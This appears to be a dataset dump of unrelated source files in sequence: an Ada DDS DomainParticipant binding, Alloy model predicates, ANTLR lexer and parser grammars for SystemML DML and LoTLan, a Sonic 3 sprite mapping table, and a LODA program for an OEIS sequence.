CPublisher : DDS_Publisher_Ptr;
AdaPublisher : DDS.Publisher.Ref_Access;
begin
if DDS_PublisherSeq_Initialize (CPubs'Address) = 0 then
raise DDS.ERROR with "initialize";
end if;
Max_Length := DDS_PublisherSeq_Get_Maximum (CPubs'Address);
DDS.Ret_Code_To_Exception
(DDS_DomainParticipant_Lock_All_GroupsI
(Self.GetInterface, DDS_GROUP_PUBLISHER_I), "Lock");
if DDS_PublisherSeq_Has_Ownership (CPubs'Address) = 1 then
New_Max := DDS_DomainParticipant_Get_User_Group_CountI
(Self.GetInterface, DDS_GROUP_PUBLISHER_I);
if New_Max > Max_Length then
if DDS_PublisherSeq_Set_Maximum (CPubs'Address, New_Max) = 0 then
raise DDS.ERROR with "maximum";
end if;
Max_Length := New_Max;
end if;
end if;
DDS.Ret_Code_To_Exception
(DDS_DomainParticipant_Get_Publishers
(Self.GetInterface, CPubs'Access));
PublishersMax := Natural (New_Max);
if DDS.PublisherSeq.Has_Ownership (Publishers) then
if PublishersMax > DDS.PublisherSeq.Get_Maximum (Publishers) then
DDS.PublisherSeq.Set_Maximum (Publishers, PublishersMax);
end if;
end if;
DDS.PublisherSeq.Set_Length (Publishers, PublishersMax);
if DDS_PublisherSeq_Get_Length (CPubs'Address) > 0 then
for I in 0 .. DDS_PublisherSeq_Get_Length (CPubs'Address) - 1 loop
CPublisher := DDS_PublisherSeq_Get (CPubs'Address, I);
AdaPublisher := DDS.Publisher.Ref_Access
(DDS.Publisher_Impl.Get_FacadeI (System.Address (CPublisher)));
Index := Natural (I + 1);
DDS.PublisherSeq.Set_Element (Publishers, Index, AdaPublisher);
end loop;
end if;
DDS.Ret_Code_To_Exception
(DDS_DomainParticipant_Unlock_All_GroupsI
(Self.GetInterface, DDS_GROUP_PUBLISHER_I));
end Get_Publishers;
---------------------
-- Get_Subscribers --
---------------------
procedure Get_Subscribers
(Self : not null access Ref;
Subscribers : access DDS.SubscriberSeq.Sequence)
is
CPubs : aliased DDS_SubscriberSeq;
Max_Length : DDS_Long;
New_Max : DDS_Long;
SubscribersMax : Natural;
Index : Natural;
CSubscriber : DDS_Subscriber_Ptr;
AdaSubscriber : DDS.Subscriber.Ref_Access;
begin
if DDS_SubscriberSeq_Initialize (CPubs'Address) = 0 then
raise DDS.ERROR with "initialize";
end if;
Max_Length := DDS_SubscriberSeq_Get_Maximum (CPubs'Address);
DDS.Ret_Code_To_Exception
(DDS_DomainParticipant_Lock_All_GroupsI
(Self.GetInterface, DDS_GROUP_SUBSCRIBER_I), "Lock");
if DDS_SubscriberSeq_Has_Ownership (CPubs'Address) = 1 then
New_Max := DDS_DomainParticipant_Get_User_Group_CountI
(Self.GetInterface, DDS_GROUP_SUBSCRIBER_I);
if New_Max > Max_Length then
if DDS_SubscriberSeq_Set_Maximum (CPubs'Address, New_Max) = 0 then
raise DDS.ERROR with "maximum";
end if;
Max_Length := New_Max;
end if;
end if;
DDS.Ret_Code_To_Exception
(DDS_DomainParticipant_Get_Subscribers
(Self.GetInterface, CPubs'Access));
SubscribersMax := Natural (New_Max);
if DDS.SubscriberSeq.Has_Ownership (Subscribers) then
if SubscribersMax > DDS.SubscriberSeq.Get_Maximum (Subscribers) then
DDS.SubscriberSeq.Set_Maximum (Subscribers, SubscribersMax);
end if;
end if;
DDS.SubscriberSeq.Set_Length (Subscribers, SubscribersMax);
if DDS_SubscriberSeq_Get_Length (CPubs'Address) > 0 then
for I in 0 .. DDS_SubscriberSeq_Get_Length (CPubs'Address) - 1 loop
CSubscriber := DDS_SubscriberSeq_Get (CPubs'Address, I);
AdaSubscriber := DDS.Subscriber.Ref_Access
(DDS.Subscriber_Impl.Get_FacadeI (System.Address (CSubscriber)));
Index := Natural (I + 1);
DDS.SubscriberSeq.Set_Element (Subscribers, Index, AdaSubscriber);
end loop;
end if;
DDS.Ret_Code_To_Exception
(DDS_DomainParticipant_Unlock_All_GroupsI
(Self.GetInterface, DDS_GROUP_SUBSCRIBER_I));
end Get_Subscribers;
----------------------
-- Get_Current_Time --
----------------------
function Get_Current_Time
(Self : not null access Ref)
return DDS.Time_T
is
type Conv (Part : Boolean := False) is record
case Part is
when True =>
Ret : aliased DDS.Time_T;
when False =>
Arg : aliased DDS_Time_T;
end case;
end record;
pragma Unchecked_Union (Conv);
Data : Conv;
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Get_Current_Time (Self.GetInterface, Data.Arg'Unrestricted_Access));
return Data.Ret;
end Get_Current_Time;
function CreateI
(Participant_Factory : not null access Dds.DomainParticipantFactory.Ref;
Domain_Id : in DDS.DomainId_T;
Library_Name : in DDS.String;
Profile_Name : in DDS.String;
A_Listener : in DDS.DomainParticipantListener.Ref_Access;
Mask : in DDS.StatusMask)
return DDS.DomainParticipant.Ref_Access is
Qos : aliased DDS.DomainParticipantQos;
begin
Participant_Factory.Get_Default_Participant_Qos (Qos);
Participant_Factory.Get_Participant_Qos_From_Profile (Qos, Library_Name, Profile_Name);
return CreateI (Participant_Factory, Domain_Id, Qos, A_Listener, Mask);
end CreateI;
function CreateI
(Participant_Factory : not null access Dds.DomainParticipantFactory.Ref;
Domain_Id : in DDS.DomainId_T;
Qos : in DDS.DomainParticipantQos;
A_Listener : in DDS.DomainParticipantListener.Ref_Access;
Mask : in DDS.StatusMask)
return DDS.DomainParticipant.Ref_Access
is
Need_To_Enable : aliased RTIDDS.Low_Level.ndds_dds_c_dds_c_common_h.DDS_Boolean := 0;
P_Impl : Ref_Access;
P_Impl_Access : Ref_Access_Access;
Local_Qos : aliased DDS.DomainParticipantQos;
Modified_Qos : aliased DDS.DomainParticipantQos;
use type DDS.DomainParticipantListener.Ref_Access;
begin
-- Check if default QoS must be used
if Qos'Address = DDS.DomainParticipantFactory.PARTICIPANT_QOS_DEFAULT'Address then
Participant_Factory.Get_Default_Participant_Qos (Local_Qos);
else
Copy (Local_Qos, Qos);
end if;
P_Impl := new DomainParticipant_Impl.Ref;
Copy (Modified_Qos, Local_Qos);
P_Impl.Factory := Participant_Factory;
Modified_Qos.User_Object.Participant_User_Object := Default_UserObjectSettings;
Modified_Qos.User_Object.Topic_User_Object := Default_UserObjectSettings;
Modified_Qos.User_Object.Content_Filtered_Topic_User_Object := Default_UserObjectSettings;
Modified_Qos.User_Object.Publisher_User_Object := Default_UserObjectSettings;
Modified_Qos.User_Object.Data_Writer_User_Object := Default_UserObjectSettings;
Modified_Qos.User_Object.Subscriber_User_Object := Default_UserObjectSettings;
Modified_Qos.User_Object.Data_Reader_User_Object := Default_UserObjectSettings;
Modified_Qos.User_Object.Read_Condition_User_Object := Default_UserObjectSettings;
Modified_Qos.User_Object.Query_Condition_User_Object := Default_UserObjectSettings;
Modified_Qos.User_Object.Flow_Controller_User_Object := Default_UserObjectSettings;
P_Impl.SetInterface (DDS_DomainParticipantFactory_Create_Participant_DisabledI
(Participant_Factory.GetInterface,
Need_To_Enable'Unchecked_Access,
DDS_DomainId_T (Domain_Id),
GetInterface (Modified_Qos),
null, -- will reset before enable
DDS_StatusMask (Mask),
System.Null_Address,
System.Null_Address,
System.Null_Address,
System.Null_Address,
0,
1));
if P_Impl.GetInterface /= System.Null_Address then
P_Impl.Entity_Initialize_I (P_Impl.GetInterface);
P_Impl_Access := Convert (DDS_Entity_Get_User_DataI (P_Impl.GetInterface));
if P_Impl_Access /= null then
P_Impl_Access.all := P_Impl;
-- Pre-register all builtin types and user types.
Register_Builtin_TypesI (P_Impl);
Register_User_TypesI (P_Impl);
-- Set Listener
if A_Listener /= null then
P_Impl.Set_Listener (A_Listener, Mask);
end if;
if Need_To_Enable /= 0 then
P_Impl.Enable;
end if;
return DomainParticipant.Ref_Access (P_Impl);
else
raise ERROR;
end if;
else
Free (P_Impl);
return null;
end if;
exception
when others =>
if P_Impl /= null and then
P_Impl.GetInterface /= System.Null_Address
then
begin
DDS.Ret_Code_To_Exception
(DDS_DomainParticipantFactory_Delete_Participant
(Participant_Factory.GetInterface,
P_Impl.GetInterface));
exception
when others =>
null;
end;
end if;
if P_Impl /= null then
Free (P_Impl);
end if;
return null;
end CreateI;
function Get_FacadeI (C_DomainParticpant : System.Address)
return Ref_Access is
P_Impl : Ref_Access := null;
P_Impl_Access : Ref_Access_Access;
begin
if C_DomainParticpant /= System.Null_Address then
P_Impl_Access := Convert (DDS_Entity_Get_User_DataI (C_DomainParticpant));
if P_Impl_Access /= null then
P_Impl := P_Impl_Access.all;
end if;
end if;
return P_Impl;
end Get_FacadeI;
procedure Add_Peer
(Self : not null access Ref;
Peer_Desc_String : DDS.String)
is
begin
Ret_Code_To_Exception (DDS_DomainParticipant_Add_Peer (Self.GetInterface, GetInterface (Peer_Desc_String)));
end Add_Peer;
procedure Register_User_TypesI (Self : not null access Ref)
is
begin
-- Call the registrator functions from the set.
for Registrator of Registered_Types loop
Registrator (Self);
end loop;
end Register_User_TypesI;
procedure Register_Builtin_TypesI (Self : not null access Ref)
is
begin
-- Builtin Types
Builtin_String_TypeSupport.Register_Type
(Self,
Builtin_String_TypeSupport.Get_Type_Name);
Builtin_Octets_TypeSupport.Register_Type
(Self,
Builtin_Octets_TypeSupport.Get_Type_Name);
Builtin_KeyedString_TypeSupport.Register_Type
(Self,
Builtin_KeyedString_TypeSupport.Get_Type_Name);
Builtin_KeyedOctets_TypeSupport.Register_Type
(Self,
Builtin_KeyedOctets_TypeSupport.Get_Type_Name);
-- Builtin Topics
ParticipantBuiltinTopicData_TypeSupport.Register_Type
(Self,
ParticipantBuiltinTopicData_TypeSupport.Get_Type_Name);
TopicBuiltinTopicData_TypeSupport.Register_Type
(Self,
TopicBuiltinTopicData_TypeSupport.Get_Type_Name);
PublicationBuiltinTopicData_TypeSupport.Register_Type
(Self,
PublicationBuiltinTopicData_TypeSupport.Get_Type_Name);
SubscriptionBuiltinTopicData_TypeSupport.Register_Type
(Self,
SubscriptionBuiltinTopicData_TypeSupport.Get_Type_Name);
end Register_Builtin_TypesI;
procedure Delete_Implicit_EntitiesI (Self : not null access Ref)
is
C_Publisher : System.Address;
C_Subscriber : System.Address;
Publisher : DDS.Publisher_Impl.Ref_Access;
Subscriber : DDS.Subscriber_Impl.Ref_Access;
begin
-- check if there is an implicit publisher
C_Publisher := DDS_DomainParticipant_Get_Implicit_PublisherI
(Self.GetInterface, null, null, 0);
if C_Publisher /= System.Null_Address then
-- delete implicit publisher
Publisher := DDS.Publisher_Impl.Get_FacadeI (C_Publisher);
Self.Delete_Publisher (DDS.Publisher.Ref_Access (Publisher));
end if;
-- check if there is an implicit subscriber
C_Subscriber := DDS_DomainParticipant_Get_Implicit_SubscriberI
(Self.GetInterface, null, null, 0);
if C_Subscriber /= System.Null_Address then
-- delete implicit subscriber
Subscriber := DDS.Subscriber_Impl.Get_FacadeI (C_Subscriber);
Self.Delete_Subscriber (DDS.Subscriber.Ref_Access (Subscriber));
end if;
end Delete_Implicit_EntitiesI;
procedure Free (This : in out Ref_Access)
is
begin
Free_Mem (This);
This := null;
end Free;
procedure Register_Type_Registration (P : Register_Type_Procedure) is
begin
if not Registered_Types.Contains (P) then
Registered_Types.Include (P);
end if;
end Register_Type_Registration;
end DDS.DomainParticipant_Impl;
|
alloy4fun_models/trashltl/models/8/8JtLSPGE3Rtp3sENY.als | Kaixi26/org.alloytools.alloy | 0 | 1271 | open main
pred id8JtLSPGE3Rtp3sENY_prop9 {
all f: File | always(f in Protected implies always f not in Trash)
}
pred __repair { id8JtLSPGE3Rtp3sENY_prop9 }
check __repair { id8JtLSPGE3Rtp3sENY_prop9 <=> prop9o } |
src/grammars/org/apache/sysml/intellij/plugin/parser/DMLLexer.g4 | luluorta/intellij-plugin-sysml | 0 | 5887 | <reponame>luluorta/intellij-plugin-sysml<gh_stars>0
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
/** A grammar for SystemML DML tokens */
lexer grammar DMLLexer;
tokens {
FUNCID,
FUNCCALL
}
IF: 'if';
ELSE: 'else';
WHILE: 'while';
FOR: 'for';
PARFOR: 'parfor';
IN: 'in';
SEQ: 'seq';
SOURCE: 'source';
IFDEF: 'ifdef';
SETWD: 'setwd';
AS: 'as';
IMPLEMENTED: 'implemented';
PRINT: 'print';
STOP: 'stop';
COLON : ':' ;
COLONCOLON : '::' ;
COMMA : ',' ;
SEMI : ';' ;
ASSIGN : '=' ;
LARROW : '<-' ;
LPAREN : '(' ;
RPAREN : ')' ;
LBRACKET : '[' ;
RBRACKET : ']' ;
LBRACE : '{' ;
RBRACE : '}' ;
POWER : '^' ;
MATRIXMUL : '%*%' ;
MOD : '%%' ;
INTDIV : '%/%' ;
MULTIPLY : '*' ;
DIVIDE : '/' ;
PLUS : '+' ;
MINUS : '-' ;
LT : '<' ;
LE : '<=' ;
GT : '>' ;
GE : '>=' ;
EQ : '==' ;
NE : '!=' ;
NOT : '!' ;
OR : '|' | '||' ;
AND : '&' | '&&' ;
FUNCTION: 'function';
EXTERNAL_FUNCTION: 'externalFunction';
RETURN: 'return';
ValueType: 'int' | 'integer' | 'string' | 'boolean' | 'double'
| 'Int' | 'Integer' | 'String' | 'Boolean' | 'Double';
Matrix: 'Matrix' | 'MATRIX';
INT : DIGIT+ [Ll]?;
// BOOLEAN : 'TRUE' | 'FALSE';
DOUBLE: DIGIT+ '.' DIGIT* EXP? [Ll]?
| DIGIT+ EXP? [Ll]?
| '.' DIGIT+ EXP? [Ll]?
;
BOOLEAN: 'TRUE' | 'FALSE';
DIGIT: '0'..'9';
fragment EXP : ('E' | 'e') ('+' | '-')? INT ;
COMMANDLINE_NAMED_ID: '$' ALPHABET (ALPHABET|DIGIT|'_')*;
COMMANDLINE_POSITION_ID: '$' DIGIT+;
BUILTIN_FUNCTION_ID: 't' | 'read' | 'write'
| 'as.scalar' | 'as.matrix' | 'as.double' | 'as.integer' | 'as.logical'
| 'append' | 'cbind' | 'min' | 'max' | 'nrow' | 'ncol' | 'length'
| 'prod' | 'matrix' | 'rand' | 'rbind' | 'removeEmpty' | 'replace' | 'sum'
| 'pmin' | 'pmax' | 'rowIndexMax' | 'rowIndexMin' | 'ppred'
| 'mean' | 'avg' | 'moment' | 'colSums' | 'colMeans' | 'colMaxs' | 'colMins'
| 'cov' | 'table' | 'cdf' | 'pnorm' | 'pexp' | 'pchisq' | 'pf' | 'pt'
| 'icdf' | 'qnorm' | 'qexp' | 'qchisq' | 'qf' | 'qt'
| 'aggregate' | 'interQuartileMean' | 'quantile' | 'median'
| 'rowSums' | 'rowMeans' | 'rowMaxs' | 'rowMins'
;
ALPHABET : [a-zA-Z];
ID : (ALPHABET (ALPHABET|DIGIT|'_')* '::')? ALPHABET (ALPHABET|DIGIT|'_')*;
// supports single and double quoted string with escape characters
STRING: '"' ( ESC | ~[\\"] )*? '"' | '\'' ( ESC | ~[\\'] )*? '\'';
fragment ESC : '\\' [abtnfrv"'\\] ;
// Comments, whitespaces and new line
LINE_COMMENT : '#' .*? '\r'? '\n' -> channel(HIDDEN) ;
MULTILINE_BLOCK_COMMENT : '/*' .*? '*/' -> channel(HIDDEN) ;
WHITESPACE : (' ' | '\t' | '\r' | '\n')+ -> channel(HIDDEN) ; |
alloy4fun_models/trashltl/models/9/HNo7XaytNhgfEeyXx.als | Kaixi26/org.alloytools.alloy | 0 | 477 | open main
pred idHNo7XaytNhgfEeyXx_prop10 {
all f:File | f in Protected implies always f in Protected
}
pred __repair { idHNo7XaytNhgfEeyXx_prop10 }
check __repair { idHNo7XaytNhgfEeyXx_prop10 <=> prop10o } |
Working Disassembly/Levels/DEZ/Misc Object Data/Map - Miniboss.asm | TeamASM-Blur/Sonic-3-Blue-Balls-Edition | 5 | 240827 | <reponame>TeamASM-Blur/Sonic-3-Blue-Balls-Edition
Map_184FBA: dc.w word_185008-Map_184FBA
dc.w word_18502E-Map_184FBA
dc.w word_18503C-Map_184FBA
dc.w word_185050-Map_184FBA
dc.w word_185064-Map_184FBA
dc.w word_185078-Map_184FBA
dc.w word_18508C-Map_184FBA
dc.w word_18509A-Map_184FBA
dc.w word_18509C-Map_184FBA
dc.w word_1850A4-Map_184FBA
dc.w word_1850AC-Map_184FBA
dc.w word_1850B4-Map_184FBA
dc.w word_1850C2-Map_184FBA
dc.w word_1850D0-Map_184FBA
dc.w word_1850DE-Map_184FBA
dc.w word_1850EC-Map_184FBA
dc.w word_1850FA-Map_184FBA
dc.w word_185108-Map_184FBA
dc.w word_185116-Map_184FBA
dc.w word_18511E-Map_184FBA
dc.w word_185126-Map_184FBA
dc.w word_18512E-Map_184FBA
dc.w word_185136-Map_184FBA
dc.w word_18513E-Map_184FBA
dc.w word_185146-Map_184FBA
dc.w word_18514E-Map_184FBA
dc.w word_185156-Map_184FBA
dc.w word_18515E-Map_184FBA
dc.w word_185178-Map_184FBA
dc.w word_18519E-Map_184FBA
dc.w word_1851D0-Map_184FBA
dc.w word_18520E-Map_184FBA
dc.w word_185258-Map_184FBA
dc.w word_1852AE-Map_184FBA
dc.w word_185310-Map_184FBA
dc.w word_18537E-Map_184FBA
dc.w word_18538C-Map_184FBA
dc.w word_18539A-Map_184FBA
dc.w word_1853A2-Map_184FBA
word_185008: dc.w 6
dc.b $E8, 4, 0, 0, $FF, $F0
dc.b $F0, $F, 0, 2, $FF, $E0
dc.b $10, 9, 0, $12, $FF, $E8
dc.b $E8, 4, 8, 0, 0, 0
dc.b $F0, $F, 8, 2, 0, 0
dc.b $10, 9, 8, $12, 0, 0
word_18502E: dc.w 2
dc.b $F4, $A, 0, $18, $FF, $E8
dc.b $F4, $A, 8, $18, 0, 0
word_18503C: dc.w 3
dc.b $F7, 0, 0, $2E, $FF, $FC
dc.b $F8, 5, 0, $2A, $FF, $F8
dc.b $F4, $A, 0, $21, $FF, $F4
word_185050: dc.w 3
dc.b $F7, 0, 0, $2E, $FF, $FC
dc.b $F8, 5, 0, $2A, $FF, $F9
dc.b $F4, $A, 0, $21, $FF, $F4
word_185064: dc.w 3
dc.b $F7, 0, 0, $2E, $FF, $FC
dc.b $F8, 5, 0, $2A, $FF, $FA
dc.b $F4, $A, 0, $21, $FF, $F4
word_185078: dc.w 3
dc.b $F7, 0, 0, $2E, $FF, $FC
dc.b $F8, 5, 0, $2A, $FF, $FB
dc.b $F4, $A, 0, $21, $FF, $F4
word_18508C: dc.w 2
dc.b $FC, 4, 0, $2F, $FF, $F0
dc.b $FC, 4, 8, $2F, 0, 0
word_18509A: dc.w 0
word_18509C: dc.w 1
dc.b $FC, 4, 0, $35, $FF, $F8
word_1850A4: dc.w 1
dc.b $FC, 4, 0, $37, $FF, $F8
word_1850AC: dc.w 1
dc.b $FC, 4, 0, $39, $FF, $F8
word_1850B4: dc.w 2
dc.b $E8, 8, 0, $3B, $FF, $E8
dc.b $E8, 8, 0, $3E, 0, 0
word_1850C2: dc.w 2
dc.b $E8, 8, 0, $41, $FF, $E8
dc.b $E8, 8, 0, $44, 0, 0
word_1850D0: dc.w 2
dc.b $E8, 8, 0, $47, $FF, $E8
dc.b $E8, 8, 0, $4A, 0, 0
word_1850DE: dc.w 2
dc.b $E8, 8, 0, $4D, $FF, $E8
dc.b $E8, 8, 0, $50, 0, 0
word_1850EC: dc.w 2
dc.b $E8, 8, 0, $53, $FF, $E8
dc.b $E8, 8, 0, $56, 0, 0
word_1850FA: dc.w 2
dc.b $E8, 8, 0, $59, $FF, $E8
dc.b $E8, 8, 0, $5C, 0, 0
word_185108: dc.w 2
dc.b $E8, $E, 0, $5F, $FF, $F0
dc.b 0, $E, 0, $6B, $FF, $F0
word_185116: dc.w 1
dc.b $FC, 4, 0, $77, $FF, $F8
word_18511E: dc.w 1
dc.b $FC, 0, 0, $79, $FF, $FC
word_185126: dc.w 1
dc.b $F8, 5, 0, $7A, $FF, $F8
word_18512E: dc.w 1
dc.b $F0, $F, 0, $7E, $FF, $F0
word_185136: dc.w 1
dc.b $F0, $F, 0, $8E, $FF, $F0
word_18513E: dc.w 1
dc.b $F0, $F, 0, $9E, $FF, $F0
word_185146: dc.w 1
dc.b $FC, 0, 0, $AE, $FF, $FC
word_18514E: dc.w 1
dc.b $FC, 0, 0, $AF, $FF, $FC
word_185156: dc.w 1
dc.b $FC, 0, 0, $B0, $FF, $FC
word_18515E: dc.w 4
dc.b $F8, 5, 0, $31, $FF, $F0
dc.b $F8, 5, 8, $31, 0, 0
dc.b 8, 4, 0, $2F, $FF, $F0
dc.b 8, 4, 8, $2F, 0, 0
word_185178: dc.w 6
dc.b $F0, 5, 0, $31, $FF, $F0
dc.b $F0, 5, 8, $31, 0, 0
dc.b 0, 5, 0, $31, $FF, $F0
dc.b 0, 5, 8, $31, 0, 0
dc.b $10, 4, 0, $2F, $FF, $F0
dc.b $10, 4, 8, $2F, 0, 0
word_18519E: dc.w 8
dc.b $E8, 5, 0, $31, $FF, $F0
dc.b $E8, 5, 8, $31, 0, 0
dc.b $F8, 5, 0, $31, $FF, $F0
dc.b $F8, 5, 8, $31, 0, 0
dc.b 8, 5, 0, $31, $FF, $F0
dc.b 8, 5, 8, $31, 0, 0
dc.b $18, 4, 0, $2F, $FF, $F0
dc.b $18, 4, 8, $2F, 0, 0
word_1851D0: dc.w $A
dc.b $E0, 5, 0, $31, $FF, $F0
dc.b $E0, 5, 8, $31, 0, 0
dc.b $F0, 5, 0, $31, $FF, $F0
dc.b $F0, 5, 8, $31, 0, 0
dc.b 0, 5, 0, $31, $FF, $F0
dc.b 0, 5, 8, $31, 0, 0
dc.b $10, 5, 0, $31, $FF, $F0
dc.b $10, 5, 8, $31, 0, 0
dc.b $20, 4, 0, $2F, $FF, $F0
dc.b $20, 4, 8, $2F, 0, 0
word_18520E: dc.w $C
dc.b $D8, 5, 0, $31, $FF, $F0
dc.b $D8, 5, 8, $31, 0, 0
dc.b $E8, 5, 0, $31, $FF, $F0
dc.b $E8, 5, 8, $31, 0, 0
dc.b $F8, 5, 0, $31, $FF, $F0
dc.b $F8, 5, 8, $31, 0, 0
dc.b 8, 5, 0, $31, $FF, $F0
dc.b 8, 5, 8, $31, 0, 0
dc.b $18, 5, 0, $31, $FF, $F0
dc.b $18, 5, 8, $31, 0, 0
dc.b $28, 4, 0, $2F, $FF, $F0
dc.b $28, 4, 8, $2F, 0, 0
word_185258: dc.w $E
dc.b $D0, 5, 0, $31, $FF, $F0
dc.b $D0, 5, 8, $31, 0, 0
dc.b $E0, 5, 0, $31, $FF, $F0
dc.b $E0, 5, 8, $31, 0, 0
dc.b $F0, 5, 0, $31, $FF, $F0
dc.b $F0, 5, 8, $31, 0, 0
dc.b 0, 5, 0, $31, $FF, $F0
dc.b 0, 5, 8, $31, 0, 0
dc.b $10, 5, 0, $31, $FF, $F0
dc.b $10, 5, 8, $31, 0, 0
dc.b $20, 5, 0, $31, $FF, $F0
dc.b $20, 5, 8, $31, 0, 0
dc.b $30, 4, 0, $2F, $FF, $F0
dc.b $30, 4, 8, $2F, 0, 0
word_1852AE: dc.w $10
dc.b $C8, 5, 0, $31, $FF, $F0
dc.b $C8, 5, 8, $31, 0, 0
dc.b $D8, 5, 0, $31, $FF, $F0
dc.b $D8, 5, 8, $31, 0, 0
dc.b $E8, 5, 0, $31, $FF, $F0
dc.b $E8, 5, 8, $31, 0, 0
dc.b $F8, 5, 0, $31, $FF, $F0
dc.b $F8, 5, 8, $31, 0, 0
dc.b 8, 5, 0, $31, $FF, $F0
dc.b 8, 5, 8, $31, 0, 0
dc.b $18, 5, 0, $31, $FF, $F0
dc.b $18, 5, 8, $31, 0, 0
dc.b $28, 5, 0, $31, $FF, $F0
dc.b $28, 5, 8, $31, 0, 0
dc.b $38, 4, 0, $2F, $FF, $F0
dc.b $38, 4, 8, $2F, 0, 0
word_185310: dc.w $12
dc.b $C0, 5, 0, $31, $FF, $F0
dc.b $C0, 5, 8, $31, 0, 0
dc.b $D0, 5, 0, $31, $FF, $F0
dc.b $D0, 5, 8, $31, 0, 0
dc.b $E0, 5, 0, $31, $FF, $F0
dc.b $E0, 5, 8, $31, 0, 0
dc.b $F0, 5, 0, $31, $FF, $F0
dc.b $F0, 5, 8, $31, 0, 0
dc.b 0, 5, 0, $31, $FF, $F0
dc.b 0, 5, 8, $31, 0, 0
dc.b $10, 5, 0, $31, $FF, $F0
dc.b $10, 5, 8, $31, 0, 0
dc.b $20, 5, 0, $31, $FF, $F0
dc.b $20, 5, 8, $31, 0, 0
dc.b $30, 5, 0, $31, $FF, $F0
dc.b $30, 5, 8, $31, 0, 0
dc.b $40, 4, 0, $2F, $FF, $F0
dc.b $40, 4, 8, $2F, 0, 0
word_18537E: dc.w 2
dc.b $E8, 4, 0, 0, 0, 0
dc.b $F0, $F, 0, 2, $FF, $F0
word_18538C: dc.w 2
dc.b $E8, 4, 8, 0, $FF, $F0
dc.b $F0, $F, 8, 2, $FF, $F0
word_18539A: dc.w 1
dc.b $F8, 9, 0, $12, $FF, $F4
word_1853A2: dc.w 1
dc.b $F8, 9, 8, $12, $FF, $F4
|
lotlan/LoTLanParser.g4 | iml130/LoTLan | 0 | 7874 | // Copyright 2020 Fraunhofer-Gesellschaft zur Förderung der angewandten Forschung e.V.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
parser grammar LoTLanParser;
options {
tokenVocab = LoTLanLexer;
}
program :
(template | instance | task | transportOrderStep)*;
// Template Layout
template:
templateStart memberVariable+ END_IN_BLOCK;
templateStart:
TEMPLATE NEW_LINE+;
// Instance Layout
instance:
instanceStart memberVariable+ END_IN_BLOCK;
instanceStart:
INSTANCE STARTS_WITH_LOWER_C_STR NEW_LINE+;
memberVariable:
ASSIGNMENT value NEW_LINE+;
value:
STRING_VALUE
| NUMERIC_VALUE
| EMPTY_VALUE
| INTEGER
| FLOAT;
// Transport Order Step
transportOrderStep:
tosStart tosStatement+ END_IN_BLOCK;
tosStart:
TRANSPORT_ORDER_STEP STARTS_WITH_LOWER_C_STR NEW_LINE+;
tosStatement:
optTosStatement | locationStatement | parameterStatement;
locationStatement:
LOCATION STARTS_WITH_LOWER_C_STR NEW_LINE+;
// optional to extend functionality
optTosStatement:
eventStatement | onDoneStatement;
eventStatement:
TRIGGERED_BY expression NEW_LINE+
| FINISHED_BY expression NEW_LINE+;
onDoneStatement:
ON_DONE (STARTS_WITH_LOWER_C_STR COMMA)* STARTS_WITH_LOWER_C_STR NEW_LINE+;
parameterStatement:
PARAMETERS (STARTS_WITH_LOWER_C_STR COMMA)* STARTS_WITH_LOWER_C_STR NEW_LINE+;
// Task Layout
task:
taskStart taskStatement+ END_IN_BLOCK;
taskStart:
TASK STARTS_WITH_LOWER_C_STR NEW_LINE+;
taskStatement:
transportOrder
| optTosStatement
| repeatStatement
| constraintsStatement;
constraintsStatement:
CONSTRAINTS expression NEW_LINE+;
// transport from to
transportOrder:
TRANSPORT NEW_LINE
fromStatement
toStatement;
fromStatement:
FROM STARTS_WITH_LOWER_C_STR parameters? NEW_LINE;
toStatement:
TO STARTS_WITH_LOWER_C_STR parameters? NEW_LINE+;
parameters:
value
| value COMMA parameters;
repeatStatement:
REPEAT INTEGER NEW_LINE+;
expression:
STARTS_WITH_LOWER_C_STR
| STARTS_WITH_LOWER_C_STR DOT (STARTS_WITH_LOWER_C_STR | STARTS_WITH_UPPER_C_STR)
| E_LEFT_PARENTHESIS expression E_RIGHT_PARENTHESIS
| unOperation expression //
| expression binOperation expression // this sets the precedence when parsing
| expression E_BOOLEAN_AND expression //
| expression E_BOOLEAN_OR expression //
| con;
binOperation:
E_LESS_THAN
| E_LESS_THAN_OR_EQUAL
| E_GREATER_THAN
| E_GREATER_THAN_OR_EQUAL
| E_EQUAL
| E_NOT_EQUAL;
unOperation:
E_BOOLEAN_NOT;
con:
E_TRUE
| E_FALSE
| INTEGER
| FLOAT;
|
programs/oeis/079/A079644.asm | karttu/loda | 0 | 24259 | ; A079644: n (mod sqrtint(n)).
; 0,0,0,0,1,0,1,0,0,1,2,0,1,2,0,0,1,2,3,0,1,2,3,0,0,1,2,3,4,0,1,2,3,4,0,0,1,2,3,4,5,0,1,2,3,4,5,0,0,1,2,3,4,5,6,0,1,2,3,4,5,6,0,0,1,2,3,4,5,6,7,0,1,2,3,4,5,6,7,0,0,1,2,3,4,5,6,7,8,0,1,2,3,4,5,6,7,8,0,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,0,1,2,3,4,5,6,7,8,9,10,0,1,2,3,4,5,6,7,8,9,10,0,0,1,2,3,4,5,6,7,8,9,10,11,0,1,2,3,4,5,6,7,8,9,10,11,0,0,1,2,3,4,5,6,7,8,9,10,11,12,0,1,2,3,4,5,6,7,8,9,10,11,12,0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,0,1,2,3,4,5,6,7,8,9,10,11,12,13,0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,0,1,2,3,4,5,6,7,8,9,10
sub $0,2
mov $3,1
lpb $0,1
sub $0,1
mov $1,$0
add $2,2
sub $0,$2
sub $0,1
trn $0,1
add $3,1
lpe
